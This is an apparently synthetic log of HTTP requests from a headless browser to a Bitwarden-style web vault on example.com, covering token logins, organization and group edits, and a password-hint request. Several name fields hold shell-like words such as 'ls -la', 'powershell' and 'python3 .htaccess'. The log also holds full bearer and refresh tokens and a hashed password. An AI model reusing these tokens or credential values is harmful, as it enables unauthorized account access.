"Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=043de400-5863-493d-a35b-eabf900ef67e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/449.caff420ade63a9b7c354.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/keys", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa8b787-99ef-4031-90a0-fd93a8eb45aa&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b3f2eab7-0985-4f49-8ac6-7b1c20c83494&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Content-Length: 67", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"powershell and ls -la admins\",\"collections\":[],\"users\":[]}"}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/users", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3", "headers": ["Host: example.com", "Content-Length: 63", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess admins\",\"collections\":[],\"users\":[]}"}
|
||||
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 74", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"billing@example.com\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5Njg3NDU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiZ19obXg5MERzeWFnVk1hMFgxTjZjZ09lOVozVUJCR3QzeHlSU2hMY09pUHNUMnRjR3JLYUNFcmNFczZ3QTZoYWY0NzMzcjMxT21EQ1lmWC1WRHVSckE9PSIsInRva2VuIjpudWxsfQ.JEeinNhRivVlxRx6SD0QnrVSt13z1GLAZbraMbU5CfgU1DS2I5ESQMJcp16tx9IvKu2zjMlEYIIdmnqrUUWSMFTQCQOBhEFv2y8Mr_4SXXodqF5qW2jG-FJstKSDigp-4TkYZxVmAxK8nMFHkDmNMCM84Nn1oDLz_FTum1MmZON-kwDS67yxea9V3DSvhJI9IOu3a4pwxkiZwBrYpkjkaUd9AFIaxv-DcoCuJ3EJeS1VZpshKKUb-KQD3ISSq5tAJX8R2WmHgBykHak5Uzs1t_c1qi7LYNe_9XNM31ii8Cm4gJsoxWgLGdsej2xH1ktz149txBKRX3yufaCLpuZciQ"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=dc0a2793-b7c5-4348-8c5d-e1ec1fdb14f8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/api/webauthn", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2MTMsImV4cCI6MTc5NDI4OTgxMywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImRjMGEyNzkzLWI3YzUtNDM0OC04YzVkLWUxZWMxZmRiMTRmOCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.RUzXbQIEfZRz8uS9FG0oVgkzgxAcVfmLHlhgyEraX0ZIuCGLA_h5Y1KW55n806XJDWED_hl3PBpw1coJ_lwhctgP-O018CeffMQFPMGm9wEwziefuJ0HrXz_yKvPjz1gDdu7GW2zfThiFpyU0ScykPoJto3FLD9956J-hLbAZv4bEk9P1Xj1lzI01rJ0HfF_1YinoYK2I6ERjUeHDJy2mfA3k5pbNicrp57JJjKludvHqxo0RBPp5e0v4a4U21IE7OZiSe9LJfvBSnmqTh65nD_Xy3j7fWEyl_YBO5QAyPcMHzVWWVqbIbWY9dDz9QT3KHXIVribNsmRxhG3KUxrfg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: fc64499f-572b-48fa-b7e2-30716d663f7c", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
|
||||
